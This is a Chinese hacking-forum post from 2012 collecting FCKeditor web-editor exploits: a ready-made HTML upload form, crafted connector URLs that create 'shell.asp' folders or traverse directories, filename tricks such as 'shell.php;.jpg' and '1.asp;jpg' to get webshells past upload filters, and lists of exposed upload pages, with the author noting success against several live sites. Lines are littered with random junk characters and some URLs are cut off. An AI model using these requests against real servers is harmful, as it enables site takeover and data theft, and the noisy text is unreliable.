中国网络渗透测试联盟

标题: Fckeditor漏洞 (2) [打印本页]
作者: admin    时间: 2012-9-13 17:01
标题: Fckeditor漏洞 (2)
Fckeditor漏洞利用总结  
5 G: v8 J1 M" }! ~0 Z查看编辑器版本
# n' ?+ e! N0 f/ j  g* iFCKeditor/_whatsnew.html
" r  Z9 j3 [1 y—————————————————————————————————————————————————————————————4 K& y1 ?! t2 t' M  l; K1 {9 G
) M$ X, s. l# Z* r% o' ?" w# L0 x
2. Version 2.2 版本
; M; l4 t  c8 H/ JApache+linux 环境下在上传文件后面加个.突破！测试通过。0 B5 o* G7 x: Y( G7 o; I$ w7 V* s
—————————————————————————————————————————————————————————————# G9 i2 k- q4 I# W  w
8 R( r. Q1 F$ C/ s+ a
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。" b% m7 x+ Z! ?$ O% D
<form id="frmUpload" enctype="multipart/form-data"6 P' w& F- e- \/ W( {: I
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
- I' t, ]. v- B<input type="file" name="NewFile" size="50"><br>5 H7 Q: w6 ~: Q4 U' s! p' H
<input id="btnUpload" type="submit" value="Upload">; w1 M! h" Y/ `
</form>! r/ P/ w& V; o( e. i3 J
—————————————————————————————————————————————————————————————8 A/ @* v6 c# X7 W

+ }% t3 G4 q2 v6 B# `' R( q4.FCKeditor 文件上传“.”变“_”下划线的绕过方法8 `9 F+ S" ~* z
        很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。$ ~  v: }, d7 x5 [9 B0 ^/ X* r; S
    4.1：提交shell.php+空格绕过
9 ~0 K/ p% x6 C# R- U不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。$ A: R' B  `, m2 ?; I0 X
    4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。' K$ `  ^) r; z! n" m  M
—————————————————————————————————————————————————————————————
+ S6 }. g0 r8 U+ q/ U- w6 N7 }* F; x' l* l8 y0 F6 r
5. 突破建立文件夹
# ^4 w& R3 o: [; f+ W  _. _FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=12447899756841 G3 I% C2 ?7 d2 Q# S$ F, ~
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
$ _/ F, B( I8 D5 r  A$ ^8 `4 m—————————————————————————————————————————————————————————————' N& J1 g( a+ y  e) V: z" t' F

1 Z: E( i. T2 K  x& l6. FCKeditor 中test 文件的上传地址6 y; H; o+ t! t$ G: I" j) J1 H
FCKeditor/editor/filemanager/browser/default/connectors/test.html' }1 H, }/ I' N& D; X
FCKeditor/editor/filemanager/upload/test.html
: N9 z! w: X! G4 y) `9 Z+ S5 {0 {FCKeditor/editor/filemanager/connectors/test.html
# Y& v* a  J' F; N9 p1 N* w9 W2 VFCKeditor/editor/filemanager/connectors/uploadtest.html
: A! q' X8 G! Q& ^5 u2 ?4 ~# Q; X' s—————————————————————————————————————————————————————————————9 P7 y& C. w5 v4 s/ ]

+ ]* h; M) ?0 X* j3 `7.常用上传地址$ |7 I: t; x9 g: }3 \. j
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
: c" Z- |! F4 tFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp* m4 z" k0 s! }8 l0 U
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
. q) ]2 B7 x+ G. G( E4 P8 YJSP 版：4 _; H0 w3 i( v" |# I
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
9 t. i* |) ^, J% }2 Z8 ]注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文+ d/ A% j0 D( O; ], u5 m$ A6 m0 ?
件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。
' M9 U5 t6 @! H% K—————————————————————————————————————————————————————————————, i" C) s4 G* T. Q) w0 k* W1 I

- \$ ^1 V- u! I% @9 C5 Z# O8.其他上传地址
/ c  B) y3 C% S; Q  w: _) sFCKeditor/_samples/default.html
) c9 v' A$ y' t( D* O# K' dFCKeditor/_samples/asp/sample01.asp! J% b: a' O0 ^6 I8 P1 B7 ^2 R5 T/ h
FCKeditor/_samples/asp/sample02.asp1 w# d, y: l5 U. K
FCKeditor/_samples/asp/sample03.asp
1 B, ^& G7 X; Y/ a6 i$ D$ W6 I) _: t$ oFCKeditor/_samples/asp/sample04.asp4 y3 n- k  J  i: G* U
一般很多站点都已删除_samples 目录，可以试试。: n+ B6 e2 E* A
FCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
3 o  S+ }& Q* T+ P1 m' y% E: t—————————————————————————————————————————————————————————————
( c) ?7 v0 x; s* F
- T& N& D& t% Y3 C8 c9.列目录漏洞也可助找上传地址. T) ]0 Q: o3 ~, d8 m7 ~
Version 2.4.1 测试通过
6 R1 R, _) K$ [* F8 A; P4 B修改CurrentFolder 参数使用 ../../来进入不同的目录) D$ U( C, |6 o9 Q! N$ K9 W3 g
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp" k! U/ K' H. l7 d+ d
根据返回的XML 信息可以查看网站所有的目录。
+ z. k& ^+ A" m- \2 {FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F* k, B* M) o7 A1 ~; f- r
也可以直接浏览盘符：4 V- I' W! j) H! K( d3 K# {
JSP 版本：
# J8 a$ v" f. k8 X( C! [* U# RFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F/ |0 I& r, g: Q) h
—————————————————————————————————————————————————————————————
# X& t; a' a) n, H3 N/ Q5 q2 L0 a! q4 q! ^* U; Y* d1 o7 a6 F
10.爆路径漏洞" ]( w6 j* O% {8 A3 g2 h- B
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
8 M3 e% x2 q9 z" U! M! u—————————————————————————————————————————————————————————————: a/ l% R$ m+ L0 o

, F* n2 U& c& I; r  h4 c: A- F11. FCKeditor 被动限制策略所导致的过滤不严问题
/ g, l5 k; ^3 k/ b& o        影响版本: FCKeditor x.x <= FCKeditor v2.4.3
' f1 v8 S: l' `脆弱描述：' V+ }- f; `5 B4 L* ]- `$ E2 \- _
FCKeditor v2.4.3 中File 类别默认拒绝上传类型：0 N. C( j. |4 e' r
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm- H' G2 f1 {0 x
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!8 x3 e4 \* f( g$ u, c
        而在apache 下，因为"Apache 文件名解析缺陷漏洞"也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。; W& z! Q0 F4 _3 _! v. j
        在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!3 }  J+ m1 n& e2 F1 T  t
—————————————————————————————————————————————————————————————" @6 B+ y6 s; d# i
! }4 z+ n/ o" P3 R! P: M2 E6 g; c
12.最古老的漏洞，Type文件没有限制！
$ z% c" u& W$ W        我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！ . x7 o& T7 Y1 j: y; z! _2 f  n" Q; I
—————————————————————————————————————————————————————————————
: O3 h- G% m1 C5 ^4 s! v6 g) u
9 E  }" }* G; |0 Z2 Y5 @" n===============================================================================================================================================; R+ @3 O! w  Z+ Q4 p: Y

1 Z4 H8 b5 i1 ^% `: GFCK编辑器jsp版本漏洞：
8 Y- C- e1 l- Q4 w7 X1 E  k) `) d2 l, G9 z- E

6 G9 N% K  m& W& H$ l4 Z# chttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
* E( K6 o6 F" P8 H$ b6 f$ z  @# o& r: h. q$ A  C7 ^; g
上传马所在目录
1 J8 m) {7 Q5 o) O7 DFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
" u2 s- E0 o: V% Y上传shell的地址:- v! z. R- ?% w2 d) n* @  J( a/ i2 C
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector$ e; M0 K7 I9 t3 |6 H$ Y
跟版本有关系.并不是百分百成功. 测试成功几个站.; n4 O$ z' }7 `$ x" P$ s
不能通杀.很遗憾.. D" T3 p# \6 ^! e  D% s7 V
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector( Y, m$ D8 q. U3 w' [; l% |( K8 I
如果以上地址不行可以试试- f! v: [1 u% d( ?9 a
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
: W  {1 \( }9 x) J4 TFCKeditor/_samples/2 r! u3 E+ d6 R+ u5 m- M8 H
FCKeditor/_samples/default.html
( _5 C/ r0 {3 T, m; P0 |* O2 sFCKeditor/editor/fckeditor.htm
2 v: }2 c$ o# `) @* [FCKeditor/editor/fckdialog.html
* O5 `8 ~% F0 _0 o4 R* ~3 W
( G1 h6 d; P: w% _3 x  F0 f$ y& e0 e
! M- D- W( x4 K
# a1 @4 n  [2 @4 g解析漏洞+未重命名文件时上传漏洞  1.asp;jpg2 |* ]$ N- t2 }+ u




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2